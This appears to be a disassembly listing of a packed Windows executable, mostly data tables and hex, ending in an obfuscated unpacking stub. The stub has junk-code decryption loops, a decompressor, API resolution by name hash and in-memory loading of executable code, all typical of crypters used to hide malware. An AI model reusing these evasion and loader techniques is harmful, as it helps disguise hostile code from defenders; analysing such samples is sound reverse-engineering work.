sub_41E3A0+4Dr word_469726 dw 0 ; DATA XREF: sub_41E3A0+3Er dword_469728 dd 0 dword_46972C dd 0 ; sub_41E142:loc_41E28Er ... dword_469730 dd 0 dword_469734 dd 0 ; sub_41E6CE+2Ew ... dword_469738 dd 0 ; sub_41E6CE:loc_41E71Dr dword_46973C dd 0 ; sub_41E6CE+60r dword_469740 dd 0 dword_469744 dd 0 ; sub_41F277+6Do dword_469748 dd 0 ; sub_41F277+44o dword_46974C dd 0 ; sub_41F277+37o dword_469750 dd 0 ; sub_41F277+51o align 8 dword_469758 dd 0 ; sub_41F825+48w ... byte_46975C db 1 ; DATA XREF: sub_404EE6r sub_404EE6+9w ... align 10h dword_469760 dd 0AD4968h ; sub_4189D0+14r ... dd 7 dup(0) dword_469780 dd 400h dup(0) ; seg002:00438450o dword_46A780 dd 200h ; sub_418729+56r ... dd 7 dup(0) dword_46A7A0 dd 0AE0EF0h ; sub_41B890+75r ... dword_46A7A4 dd 3Fh dup(0) dword_46A8A0 dd 20h ; sub_41B969+Cr ... dword_46A8A4 dd 4E4h ; seg000:0041C005w ... align 10h dword_46A8B0 dd 3 dup(0) ; seg000:0041C111o ... dword_46A8BC dd 0 ; seg000:0041C0FDw ... byte_46A8C0 db 0 ; DATA XREF: sub_41C1DF:loc_41C2EBw ; sub_41C1DF:loc_41C308w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_46A9C0 db 0 ; DATA XREF: seg000:0041BFFCo ; seg000:0041C04Fo ... byte_46A9C1 db 0 ; DATA XREF: sub_417328+5Dr ; seg000:0041C040w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_46AAC4 dd 0 ; seg000:0041C0CBw ... dword_46AAC8 dd 10h ; sub_41913C+5r ... dword_46AACC dd 0 ; sub_418B08+259r ... dword_46AAD0 dd 0AD0650h ; sub_418B08+310w ... dword_46AAD4 dd 0 ; sub_418B08+22Cr ... dword_46AAD8 dd 1 ; sub_418ADDr ... dword_46AADC dd 0AD0650h ; sub_418ADD+8r ... dword_46AAE0 dd 0AD0000h ; sub_415E1D+21r ... dword_46AAE4 dd 142340h ; seg000:0041C7B1r ... dword_46AAE8 dd 1 ; sub_41F3E9r dword_46AAEC dd 1 ; sub_41C364+11w ... dword_46AAF0 dd 0AE1B4Ch ; sub_4167B3:loc_4167F5r ... dword_46AAF4 dd 0AE1B40h ; sub_4167B3+Cr ... byte_46AAF8 db 1 ; DATA XREF: sub_4200A4+15r ; sub_4200A4+1Ew align 800h seg002 ends ; Section 4. (virtual address 0006B000) ; Virtual size : 0001A000 ( 106496.) ; Section size in file : 0001A000 ( 106496.) ; Offset to raw data for section: 0006B000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _data segment para public 'CODE' use32 assume cs:_data ;org 46B000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing db 90h db 60h, 0E8h, 3 dword_46B004 dd 0E9000000h, 455D04EBh, 1E8C355h, 0EB000000h, 0FFEDBB5Dh dd 0DD03FFFFh, 0B000EB81h, 7D800006h, 0C75014Dh, 2824748Bh dd 8901FE83h, 31754E5Dh, 5053458Dh, 0EDB5FF53h, 8D000009h dd 0E9503545h, 82h, 390000h, 30000h, 7C809AE4h, 3BE000h dd 7C801D77h, 7C80B6A1h, 0 dd 0C0F8B800h, 505023A5h, 5B4E4503h, 1C74C085h, 81E801EBh dd 0A5C0F8FBh, 33357423h, 6A56D2h, 4E75FF56h, 835ED0FFh dd 247500FEh, 458BD233h, 74C08541h, 0FF525207h, 0D0FF3575h dd 8535458Bh, 680D74C0h, 8000h, 75FF006Ah, 3D55FF35h, 61DB0B5Bh dd 16A0675h, 0CC258h, 0D8F7C033h, 0C240C01Bh, 0E280000Ch dd 9E8B7h, 428D0000h, 8E899053h, 8A45BCAFh, 685259FDh dd 4EAFE1ECh, 0F16BA66h, 0C1815B58h, 8F6h, 21068h, 5EC68B00h dd 6E9h, 0B487C600h, 8B2352DDh, 11B86639h, 1DEF8137h, 51443EC7h dd 6830Fh, 0D3810000h, 0C690681h, 92C78158h, 8B0CD3CDh dd 63C781C7h, 0F0FBD33h, 384h, 0D18B6600h, 8B663989h, 1E983DFh dd 68F0Fh, 8F0F0000h, 0 ; --------------------------------------------------------------------------- dec ecx dec ecx dec ecx jmp loc_46B156 ; --------------------------------------------------------------------------- xchg al, [edi+74h] popf adc ah, bl loc_46B156: ; CODE XREF: .data:0046B14Bj sub esi, 1 jnz loc_46B176 mov al, 90h jmp loc_46B18C ; --------------------------------------------------------------------------- dw 0D1F8h dd 0DA43736h, 910D3C2h, 0C53C2F0Eh db 1Ah, 4Bh ; --------------------------------------------------------------------------- loc_46B176: ; CODE XREF: .data:0046B159j movzx eax, dx jmp near ptr dword_46B064+9Fh ; --------------------------------------------------------------------------- dw 1FBEh dd 3BCA356Ch, 1796B158h, 0B322ED04h ; --------------------------------------------------------------------------- loc_46B18C: ; CODE XREF: .data:0046B161j mov esi, ebx call sub_46B1A7 pop esp db 65h cmp ch, bl dec eax loope loc_46B1A0 mov esp, 6063921Dh loc_46B1A0: ; CODE XREF: .data:0046B198j sbb esi, ebx mov edi, 0DBEAD58Ch ; =============== S U B R O U T I N E ======================================= sub_46B1A7 proc near ; CODE XREF: .data:0046B18Ep push esi push ebx mov edx, eax pop edx pop eax pop ebx mov dx, 9A8h add ebx, 834h push edx mov si, cx pop edx mov edi, 0 loc_46B1C2: ; CODE XREF: .data:0046B264j push dword ptr [edi+ebx] jmp loc_46B1D3 ; --------------------------------------------------------------------------- dw 0A26Dh dd 0EE69F033h db 8Fh, 1Ch, 25h ; --------------------------------------------------------------------------- loc_46B1D3: ; CODE XREF: sub_46B1A7+1Ej pop ecx jmp loc_46B1E6 ; --------------------------------------------------------------------------- db 0A1h, 0C6h, 87h dd 2352DDB4h, 7F9ED920h db 4Ch, 95h ; --------------------------------------------------------------------------- loc_46B1E6: ; CODE XREF: sub_46B1A7+2Dj sub ecx, 4139A818h call sub_46B1FE adc [esi+77h], esi in al, 4Dh add dl, [ebx] push eax dec ecx dec esi outsd jl short loc_46B203 sub_46B1A7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_46B1FE proc near ; CODE XREF: sub_46B1A7+45p ; FUNCTION CHUNK AT 0046B27B SIZE 0000008F BYTES ; FUNCTION CHUNK AT 0046B315 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0046B329 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0046B34D SIZE 00000084 BYTES ; FUNCTION CHUNK AT 0046B3DF SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0046B3F7 SIZE 0000009B BYTES ; FUNCTION CHUNK AT 0046B4A2 SIZE 00000038 BYTES ; FUNCTION CHUNK AT 0046B4F6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0046B517 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0046B543 SIZE 00000130 BYTES add si, 9F26h loc_46B203: ; CODE XREF: sub_46B1A7+55j pop esi add ecx, 71541271h mov eax, edx xor ecx, 52D07856h sbb edx, 7F3BDDF1h mov [ebx+edi], ecx loc_46B21B: ; CODE XREF: sub_46B1FE+5Dj ; sub_46B1FE+5Aj mov ax, di mov dx, bx sub edi, 2 mov edx, eax dec edi dec edi sub si, 0C712h cmp edi, 0FFFFF8B0h jnz loc_46B248 jmp loc_46B27B ; --------------------------------------------------------------------------- dw 5B6Ah dd 3736D1F8h, 0D3C20DA4h ; --------------------------------------------------------------------------- loc_46B248: ; CODE XREF: sub_46B1FE+35j call near ptr loc_46B25F+1 das cmp al, 0C5h sbb cl, [ebx+28h] inc ecx out 27h, al aam 7Dh jb short near ptr loc_46B21B+2 inc eax jns short loc_46B21B pop ds insb loc_46B25F: ; CODE XREF: sub_46B1FE:loc_46B248p xor eax, 5896E880h sub_46B1FE endp ; sp-analysis failed jmp loc_46B1C2 ; --------------------------------------------------------------------------- db 22h, 0B3h, 70h dd 9C0F6EE9h, 882B7AA5h, 34074621h db 5Dh, 0D2h, 0A3h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_46B1FE loc_46B27B: ; CODE XREF: sub_46B1FE+3Bj movzx edi, di call near ptr loc_46B28F+1 and [esi+7], eax xor al, 5Dh shl byte ptr [ebx-0E1A660h], cl int 3 ; Trap to Debugger loc_46B28F: ; CODE XREF: sub_46B1FE+80p adc eax, 0C961B868h xor eax, 0CE8h add [ebp+ecx*8-7Eh], ah xchg eax, ebx ror cl, 1 into out dx, eax cld test ebx, edx or ebp, [eax-5Ah] in eax, dx loopne near ptr loc_46B2D1+3 pop ecx pop edx pop ecx pop esi movsx edx, cx add esi, 742h and dl, 0ADh mov eax, 1A8h adc di, 57CFh loc_46B2C5: ; CODE XREF: sub_46B1FE+11Aj mov ebx, [esi] sub ebx, 2A398917h mov cx, 71C7h loc_46B2D1: ; CODE XREF: sub_46B1FE+ABj add ebx, 610E9104h mov di, si add ebx, 707B26EDh push ebx mov dh, ch pop dword ptr [esi] push edx or cx, 0E49Ah pop edi sub esi, 2 movzx ecx, bx dec esi dec esi mov cl, bh sub eax, 1 jnz loc_46B315 mov di, cx jmp loc_46B329 ; END OF FUNCTION CHUNK FOR sub_46B1FE ; --------------------------------------------------------------------------- dw 8497h dd 0F033A26Dh, 1C8FEE69h db 25h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_46B1FE loc_46B315: ; CODE XREF: sub_46B1FE+FEj movzx ecx, di jmp loc_46B2C5 ; END OF FUNCTION CHUNK FOR sub_46B1FE ; --------------------------------------------------------------------------- mov ah, 0DDh push edx and esp, [eax] fstp dword ptr [esi-556AB381h] wait ; START OF FUNCTION CHUNK FOR sub_46B1FE loc_46B329: ; CODE XREF: sub_46B1FE+107j push esi mov al, dl pop eax call near ptr loc_46B332+6 loc_46B332: ; CODE XREF: sub_46B1FE+12Fp mov byte ptr [edi+2352DDB4h], 0B6h push ebx pop edi jmp loc_46B34D ; END OF FUNCTION CHUNK FOR sub_46B1FE ; --------------------------------------------------------------------------- dd 0E4777611h, 5013024Dh, 7C6F4E49h db 5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_46B1FE loc_46B34D: ; CODE XREF: sub_46B1FE+13Dj add edi, 695h movzx ebx, di mov ecx, 175h mov bx, 95FEh loc_46B35F: ; CODE XREF: sub_46B1FE+1E3j push dword ptr [edi] jz loc_46B36C or bx, 2D57h loc_46B36C: ; CODE XREF: sub_46B1FE+163j pop esi push ecx and ebx, 1233704Fh pop eax xor esi, 66D364BBh jb loc_46B388 push eax mov ebx, 5CC0E012h pop ebx loc_46B388: ; CODE XREF: sub_46B1FE+17Dj xor esi, 14550DD8h push 2AC8EB5Eh call near ptr loc_46B39F+3 push 5Bh clc sal dword ptr [esi], 1 aaa movsb loc_46B39F: ; CODE XREF: sub_46B1FE+195p or eax, 3CBAD3C2h mov al, 3 push esp pop edx pop eax sub esi, 1F7EE531h mov dx, bx mov [edi], esi mov dx, 70BEh sub edi, 4 adc edx, 0D0830B1h sub ecx, 1 jnz loc_46B3DF mov dh, al jmp loc_46B3F7 ; END OF FUNCTION CHUNK FOR sub_46B1FE ; --------------------------------------------------------------------------- db 6Eh, 0Fh, 9Ch dd 882B7AA5h, 34074621h db 5Dh, 0D2h, 0A3h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_46B1FE loc_46B3DF: ; CODE XREF: sub_46B1FE+1C6j mov ebx, eax jmp loc_46B35F ; END OF FUNCTION CHUNK FOR sub_46B1FE ; --------------------------------------------------------------------------- dw 2A15h dd 0F691B81Bh, 82CD64F7h, 0CEC9D093h db 0EFh, 0FCh, 85h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_46B1FE loc_46B3F7: ; CODE XREF: sub_46B1FE+1CEj push 7D1D981Eh and edi, 655E461Bh loc_46B402: ; CODE XREF: sub_46B1FE+223j pop edi call near ptr loc_46B412+1 mul dword ptr [ebp+ecx*8-7Eh] xchg eax, ebx ror cl, 1 into out dx, eax cld loc_46B412: ; CODE XREF: sub_46B1FE+205p test ebp, ecx or eax, 1000000h cmpsb out 94h, eax cmp eax, 39008332h jle short loc_46B402 sub al, 0F5h pop ecx mov ah, 0B0h add ecx, 5BEh and bh, 0A9h push 14Ah mov ax, bx pop esi mov ebx, 6EA26906h loc_46B43F: ; CODE XREF: sub_46B1FE+289j push dword ptr [ecx] xor ebx, 3B9D5CBFh pop edx mov ax, 3B51h xor edx, 46D46221h mov al, 55h add edx, 24DA0646h mov eax, 10214F45h sub edx, 3EE23007h mov [ecx], edx push 1F0721FDh mov bx, cx pop eax sub ecx, 623713ECh add ecx, 623713E8h mov edi, 387ACCEEh sub esi, 1 jnz loc_46B43F jmp loc_46B4A2 ; END OF FUNCTION CHUNK FOR sub_46B1FE ; --------------------------------------------------------------------------- or [ecx-224B783Ah], ah push edx and esp, [eax] fstp dword ptr [esi-556AB381h] wait ; START OF FUNCTION CHUNK FOR sub_46B1FE loc_46B4A2: ; CODE XREF: sub_46B1FE+28Fj call $+5 pop ebp pop ebx mov [ebp+5Bh], ebx pop ebx mov [ebp+5Fh], ebx pop eax mov [ebp+40Dh], eax pop eax cmp byte ptr [ebp+5Ah], 1 jnz short loc_46B517 mov [ebp+425h], eax pusha lea eax, [ebp+33h] push eax xor eax, eax push dword ptr fs:[eax] mov fs:[eax], esp mov eax, ebx call sub_46B7BC jmp short loc_46B4F6 ; END OF FUNCTION CHUNK FOR sub_46B1FE ; --------------------------------------------------------------------------- mov esp, [esp+8] pop dword ptr fs:0 add esp, 4 popa lea eax, [ebp+63h] push eax call dword ptr [ebp+5Fh] call loc_46B7D2 jmp short loc_46B4FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_46B1FE loc_46B4F6: ; CODE XREF: sub_46B1FE+2DAj pop dword ptr fs:0 add esp, 24h loc_46B4FF: ; CODE XREF: .data:0046B4F4j jmp short loc_46B51C ; END OF FUNCTION CHUNK FOR sub_46B1FE ; --------------------------------------------------------------------------- align 2 dd offset dword_46B004+44h aBAKernel32_dll db '¡¶€|kernel32.dll',0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_46B1FE loc_46B517: ; CODE XREF: sub_46B1FE+2BEj call sub_46B7B8 loc_46B51C: ; CODE XREF: sub_46B1FE:loc_46B4FFj cld lea esi, [ebp+8Ch] lodsd or eax, eax jz short loc_46B543 mov edi, eax mov ecx, 0Ch rep movsb jmp short loc_46B543 ; END OF FUNCTION CHUNK FOR sub_46B1FE ; --------------------------------------------------------------------------- align 4 dd 28004010h, 19B2BB43h, 380A211h db 8Fh, 9Fh, 9Dh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_46B1FE loc_46B543: ; CODE XREF: sub_46B1FE+328j ; sub_46B1FE+333j mov [ebp+429h], esp push 40h push 1000h push dword ptr [ebp+408h] push 0 call dword ptr [ebp+3F0h] mov [ebp+1CCh], eax mov ebx, [ebp+400h] add ebx, [ebp+40Dh] push eax push ebx call sub_46B67B push 40h push 1000h push dword ptr [ebp+408h] push 0 call dword ptr [ebp+3F0h] mov [ebp+431h], eax mov [ebp+1D0h], eax mov eax, fs:0 mov [ebp+42Dh], eax mov edx, [ebp+5Bh] mov eax, [ebp+1D0h] mov [edx], eax mov eax, [ebp+408h] mov [edx+4], eax lea eax, [ebp+39Fh] mov eax, [eax+55h] mov [edx+8], eax mov eax, [ebp+3ECh] mov [edx+10h], eax mov eax, [ebp+3E8h] mov [edx+14h], eax mov edx, [ebp+1CCh] mov ebx, 1F8h loc_46B5E0: ; CODE XREF: sub_46B1FE+406j mov edi, [edx+ebx+0Ch] or edi, edi jz short loc_46B606 mov ecx, [edx+ebx+10h] or ecx, ecx jz short loc_46B601 add edi, [ebp+1D0h] mov esi, [edx+ebx+14h] add esi, edx sar ecx, 2 rep movsd loc_46B601: ; CODE XREF: sub_46B1FE+3F0j add ebx, 28h jmp short loc_46B5E0 ; --------------------------------------------------------------------------- loc_46B606: ; CODE XREF: sub_46B1FE+3E8j mov eax, [ebp+1CCh] push eax mov edx, [ebp+1D0h] push edx mov ebx, [eax] add ebx, edx mov eax, [ebp+3E4h] mov [ebx], eax mov eax, [ebp+3E8h] mov [ebx+4], eax mov eax, [ebp+3ECh] mov [ebx+8], eax pop edi pop esi mov eax, [esi+4] add eax, edi mov [ebp+1C7h], eax mov edx, [ebp+5Bh] mov eax, [ebp+1C7h] mov [edx+0Ch], eax lea ebx, [ebp+40Dh] push ebx push 0 push 0 push 1 push edi mov ebx, [esi+8] add ebx, edi push ebx push 8000h push 0 push esi call dword ptr [ebp+3F4h] push 3BE000h retn ; END OF FUNCTION CHUNK FOR sub_46B1FE ; --------------------------------------------------------------------------- align 4 dd 3600h db 0, 39h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_46B67B proc near ; CODE XREF: sub_46B1FE+374p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp pusha push ebp mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] cld mov dl, 80h loc_46B689: ; CODE XREF: sub_46B67B:loc_46B698j mov al, [esi] inc esi mov [edi], al inc edi loc_46B68F: ; CODE XREF: sub_46B67B+72j ; sub_46B67B+B7j ... add dl, dl jnz short loc_46B698 mov dl, [esi] inc esi adc dl, dl loc_46B698: ; CODE XREF: sub_46B67B+16j jnb short loc_46B689 add dl, dl jnz short loc_46B6A3 mov dl, [esi] inc esi adc dl, dl loc_46B6A3: ; CODE XREF: sub_46B67B+21j jnb short loc_46B6EF xor eax, eax add dl, dl jnz short loc_46B6B0 mov dl, [esi] inc esi adc dl, dl loc_46B6B0: ; CODE XREF: sub_46B67B+2Ej jnb loc_46B78C add dl, dl jnz short loc_46B6BF mov dl, [esi] inc esi adc dl, dl loc_46B6BF: ; CODE XREF: sub_46B67B+3Dj adc eax, eax add dl, dl jnz short loc_46B6CA mov dl, [esi] inc esi adc dl, dl loc_46B6CA: ; CODE XREF: sub_46B67B+48j adc eax, eax add dl, dl jnz short loc_46B6D5 mov dl, [esi] inc esi adc dl, dl loc_46B6D5: ; CODE XREF: sub_46B67B+53j adc eax, eax add dl, dl jnz short loc_46B6E0 mov dl, [esi] inc esi adc dl, dl loc_46B6E0: ; CODE XREF: sub_46B67B+5Ej adc eax, eax jz short loc_46B6EA push edi sub edi, eax mov al, [edi] pop edi loc_46B6EA: ; CODE XREF: sub_46B67B+67j mov [edi], al inc edi jmp short loc_46B68F ; --------------------------------------------------------------------------- loc_46B6EF: ; CODE XREF: sub_46B67B:loc_46B6A3j mov eax, 1 loc_46B6F4: ; CODE XREF: sub_46B67B:loc_46B708j add dl, dl jnz short loc_46B6FD mov dl, [esi] inc esi adc dl, dl loc_46B6FD: ; CODE XREF: sub_46B67B+7Bj adc eax, eax add dl, dl jnz short loc_46B708 mov dl, [esi] inc esi adc dl, dl loc_46B708: ; CODE XREF: sub_46B67B+86j jb short loc_46B6F4 sub eax, 2 jnz short loc_46B737 mov ecx, 1 loc_46B714: ; CODE XREF: sub_46B67B:loc_46B728j add dl, dl jnz short loc_46B71D mov dl, [esi] inc esi adc dl, dl loc_46B71D: ; CODE XREF: sub_46B67B+9Bj adc ecx, ecx add dl, dl jnz short loc_46B728 mov dl, [esi] inc esi adc dl, dl loc_46B728: ; CODE XREF: sub_46B67B+A6j jb short loc_46B714 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_46B68F ; --------------------------------------------------------------------------- loc_46B737: ; CODE XREF: sub_46B67B+92j dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_46B745: ; CODE XREF: sub_46B67B:loc_46B759j add dl, dl jnz short loc_46B74E mov dl, [esi] inc esi adc dl, dl loc_46B74E: ; CODE XREF: sub_46B67B+CCj adc ecx, ecx add dl, dl jnz short loc_46B759 mov dl, [esi] inc esi adc dl, dl loc_46B759: ; CODE XREF: sub_46B67B+D7j jb short loc_46B745 cmp eax, 7D00h jnb short loc_46B77C cmp eax, 500h jb short loc_46B777 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_46B68F ; --------------------------------------------------------------------------- loc_46B777: ; CODE XREF: sub_46B67B+ECj cmp eax, 7Fh ja short loc_46B77F loc_46B77C: ; CODE XREF: sub_46B67B+E5j add ecx, 2 loc_46B77F: ; CODE XREF: sub_46B67B+FFj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_46B68F ; --------------------------------------------------------------------------- loc_46B78C: ; CODE XREF: sub_46B67B:loc_46B6B0j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_46B7A8 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_46B68F ; --------------------------------------------------------------------------- loc_46B7A8: ; CODE XREF: sub_46B67B+119j pop ebp sub edi, [ebp+arg_4] mov [ebp+var_4], edi popa pop ebp retn 8 sub_46B67B endp ; --------------------------------------------------------------------------- dd 7C80261Ch ; =============== S U B R O U T I N E ======================================= sub_46B7B8 proc near ; CODE XREF: sub_46B1FE:loc_46B517p arg_20 = dword ptr 24h mov eax, [esp+arg_20] sub_46B7B8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_46B7BC proc near ; CODE XREF: sub_46B1FE+2D5p and eax, 0FFFF0000h add eax, 10000h loc_46B7C6: ; CODE XREF: sub_46B7BC+14j sub eax, 10000h cmp word ptr [eax], 5A4Dh jnz short loc_46B7C6 loc_46B7D2: ; CODE XREF: .data:0046B4EFp pusha mov [ebp+3F8h], eax mov edx, eax mov ebx, eax add eax, [eax+3Ch] add ebx, [eax+78h] mov [ebp+30Dh], ebx lea ebx, [ebp+3CCh] lea edi, [ebp+3E4h] loc_46B7F5: ; CODE XREF: sub_46B7BC+4Dj mov esi, [ebx] mov [ebp+37Ch], esi call sub_46B80D stosd add ebx, 4 cmp dword ptr [ebx], 0 jnz short loc_46B7F5 popa retn sub_46B7BC endp ; =============== S U B R O U T I N E ======================================= sub_46B80D proc near ; CODE XREF: sub_46B7BC+41p var_4 = dword ptr -4 pusha mov ebx, [ebp+30Dh] mov ecx, [ebx+20h] add ecx, edx loc_46B819: ; CODE XREF: sub_46B80D+21j mov esi, [ecx] add esi, edx call sub_46B851 mov edi, 49CD75CEh cmp eax, edi jz short loc_46B830 add ecx, 4 jmp short loc_46B819 ; --------------------------------------------------------------------------- loc_46B830: ; CODE XREF: sub_46B80D+1Cj sub ecx, [ebx+20h] sub ecx, edx shr ecx, 1 add ecx, [ebx+24h] add ecx, edx movzx ecx, word ptr [ecx] shl ecx, 2 add ecx, [ebx+1Ch] add ecx, edx mov ecx, [ecx] add ecx, edx mov [esp+20h+var_4], ecx popa retn sub_46B80D endp ; =============== S U B R O U T I N E ======================================= sub_46B851 proc near ; CODE XREF: sub_46B80D+10p push edx mov edx, 9C3B248Eh loc_46B857: ; CODE XREF: sub_46B851+1Dj lodsb or al, al jz short loc_46B870 xor dl, al mov al, 8 loc_46B860: ; CODE XREF: sub_46B851+1Bj shr edx, 1 jnb short loc_46B86A xor edx, 0C1A7F39Ah loc_46B86A: ; CODE XREF: sub_46B851+11j dec al jnz short loc_46B860 jmp short loc_46B857 ; --------------------------------------------------------------------------- loc_46B870: ; CODE XREF: sub_46B851+9j xchg eax, edx pop edx retn sub_46B851 endp ; --------------------------------------------------------------------------- db 0A7h dd 0F0B72551h, 57A7493Bh, 13901902h, 0CE74EE32h, 49CD75h dd 0A0000000h, 0A17C80ADh, 777C80B6h, 517C801Dh, 0E47C809Ah dd 7C809Ah, 7C8000h, 1C00017Ch, 0F20006BBh, 158h, 300h dd 2 dup(400000h), 3 dup(0) dd 22108h, 0 dd 12FFA4h, 12FFE0h, 390000h, 1000h, 1F400h, 0F271h, 21000h dd 1C00h, 1508h, 23000h, 15C00h, 6DF5h, 37h dup(0) dd 2000h, 8, 6 dup(0) dd 7C80ADA0h, 7C80B6A1h, 7C801D77h, 2 dup(0) dd 6E72656Bh, 32336C65h, 6C6C642Eh, 47000000h, 72507465h dd 6441636Fh, 73657264h, 73h, 4D746547h, 6C75646Fh, 6E614865h dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h dd 3 dup(0) dd 6BA10h, 6B9FCh, 3 dup(0) dd 6BAB4h, 6BAD9h, 3 dup(0) dd 6BABFh, 6BAE1h, 3 dup(0) db 0CCh db 0BAh, 6, 0 ; --------------------------------------------------------------------------- jmp loc_46C15B ; --------------------------------------------------------------------------- align 4 dd 4 dup(0) dd 5F327377h, 642E3233h, 6F006C6Ch, 7561656Ch, 2E323374h dd 6C6C64h, 6E72656Bh, 32336C65h, 6C6C642Eh, 0AB442800h dd 71h, 126AEA00h, 77h, 812A0900h, 7Ch, 56000000h, 61697261h dd 6843746Eh, 65676E61h, 65707954h, 7845h, 69615200h, 78456573h dd 74706563h, 6E6F69h, 0 dd 2E838A4h, 8E06170h, 0C2018D88h, 1E7019Fh, 705E5708h dd 12578703h, 50BB3810h, 46FF009Ah, 4492513h, 2443BDE3h dd 6592260h, 2801142Bh, 70122051h, 1A0A012Ah, 47F45001h dd 0E2285790h, 480424A0h, 3044DE20h, 121E89B0h, 9150BD24h dd 570A22E0h, 0F0B22842h, 364CC8B9h, 481FBE9h, 20401038h dd 5300060Ch, 6E697274h, 75586735h, 50010019h, 338E0420h dd 18002C9Ch, 0AC0922A8h, 0A4B044h, 812B8488h, 20E01298h dd 4F54070Eh, 656A0062h, 0FF7463h, 7091A425h, 0C08B3242h dd 39A01000h, 8E981C9Ch, 23940047h, 0C88C9190h, 8401E488h dd 7C398072h, 2286781Ch, 44B82374h, 0E4B4C800h, 3968726Ch dd 601C2064h, 58235C00h, 50C85491h, 724C01E4h, 1C443948h dd 23B00040h, 3891013Ch, 30E434C8h, 0C439D472h, 0DEE1D3Ah dd 2A281C2Ch, 0EE023F8h, 0D8C8DC91h, 0D072D4E0h, 83015318h dd 0BBBCC409h, 6E80200Ah, 0C10123E8h, 4400F60Ch, 74DC2C24h dd 0F1E05h, 30065CB7h, 0FE38C38Bh, 47EB5B00h, 6534DA2Ch dd 8320720h, 3618391Ch, 100F7A14h, 80900C23h, 0BE5653C0h dd 0C774074Ch, 3E8312h, 44683A75h, 0CC066701h, 0DFE8036Ah dd 8BDBC0h, 75C985C8h, 0C0313305h, 0A1CA5E00h, 89438E48h dd 0D4A1C01h, 0D2803F08h, 0C003C28Bh, 441D8D0Fh, 1EC004C1h dd 6901889h, 3837D42h, 0EC7564FAh, 10883F9Eh, 59001633h dd 3B54B690h, 72D10440h, 0D8F23858h, 1F33E880h, 0ED859602h dd 8B493000h, 503A8916h, 56990E08h, 803F0C04h, 6233EF13h dd 42481458h, 0B003003Ch, 50191C01h, 0FD083DA2h, 9451F980h dd 9991150Eh, 43A33E00h, 9003C307h, 557F57h, 14F9F18Bh dd 5AE8D424h, 9760500Fh, 6A466004h, 0BEEB5Dh, 0B03BBF90h dd 3D0A043h, 0C795300h, 14751612h, 0E8130006h, 27D4DDA7h dd 0A7F6096h, 4460100h, 4C50EB6Eh, 3B4E0003h, 0D75C215h dd 180FD41Dh, 6FDF077Dh, 0C7005FEBh, 0E8C5E1D6h, 2B940977h dd 990FA084h, 5D5A6AA0h, 8901A45Fh, 12E0C58Dh, 0F8E40A74h dd 3A3900BFh, 0A13230FBh, 7201F03Bh, 0CE186C7Dh, 0E8DC4A03h dd 6E610055h, 5E77CDD8h, 7500248Fh, 36BCB41Bh, 0CFF01h dd 83AA2963h, 40829C7Bh, 65994400h, 0A9743EBh, 0ED7250D8h dd 74CE0077h, 5430DFF8h, 1D00FECFh, 0EBCD7329h, 9E2A26h dd 24478985h, 7C57F92Bh, 12965C03h, 0E0FBD0F0h, 30D476B9h dd 0EB28A76Ah, 0D000E0Ch, 3B1BA898h, 0FA65FB7Eh, 6259071Ch dd 23A39092h, 0F0A8DA8Bh, 0CE0AFE81h, 9C02104Eh, 808DBE09h dd 0FFC6FC12h, 14BB00E3h, 1008E636h, 73008903h, 68016A04h dd 242083h, 90C05618h, 89F880EFh, 0FF853B09h, 909803Ch dd 350B8D3h, 0C664482Ah, 80A94A13h, 38BC8E4h, 0F700E8FAh dd 7AF84FD5h, 7D1264ACh, 41D91F55h, 47FC80B4h, 6A614304h dd 505DB500h, 55520C68h, 75C50E53h, 0CA20791Fh, 1C259332h dd 3B839E0Ah, 0A500C729h, 